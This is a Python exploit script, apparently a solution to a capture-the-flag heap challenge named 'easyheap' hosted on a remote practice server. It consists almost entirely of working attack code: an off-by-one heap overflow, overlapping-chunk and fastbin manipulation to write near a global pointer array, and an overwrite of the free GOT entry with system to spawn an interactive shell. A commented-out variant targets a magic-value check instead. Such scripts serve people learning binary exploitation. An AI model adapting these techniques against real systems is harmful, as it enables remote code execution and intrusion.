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from PwnContext import * context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] context.log_level = 'debug'
s = lambda data :ctx.send(str(data)) sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
uu32 = lambda data :u32(data.ljust(4, '\x00')) uu64 = lambda data :u64(data.ljust(8, '\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
ctx.binary = './easyheap' ctx.remote = ('node3.buuoj.cn', 25679) ctx.remote_libc = '../../libc/libc-2.23.so' ctx.debug_remote_libc = True
rs()
def add(size, content): sla('Your choice :', '1') sla('Size of Heap : ', str(size)) sa('Content of heap:', content)
def edit(index, size, content): sla('Your choice :', '2') sla('Index :', str(index)) sla('Size of Heap : ', str(size)) sla('Content of heap : ', content)
def free(index): sla('Your choice :', '3') sla('Index :', str(index))
magic_addr = 0x6020C0 heaparray_addr = 0x6020E0
add(0x18, 'a' * 0x18) add(0x68, 'a' * 0x68) add(0x68, 'a' * 0x68) add(0x10, '/bin/sh\x00' * 0x10)
edit(0, 0x19, 'a' * 0x18 + '\xe1') free(1) free(2)
''' add(0xd8, 'a' * 0x68 + p64(0x71) + p64(magic_addr-24+5)) # 1 add(0x68, 'a') # 2 add(0x68, 'a' * (magic_addr - (magic_addr-24+5)) + p64(0x1305+1)) # 4 # pwn sla('Your choice :', '4869') '''
add(0xd8, 'a' * 0x68 + p64(0x71) + p64(magic_addr-24+5)) add(0x68, 'a') add(0x68, 'a' * (heaparray_addr - (magic_addr-24+5+0x10)) + p64(ctx.binary.got['free']))
edit(0, 8, p64(ctx.binary.plt['system'])) free(3)
irt()
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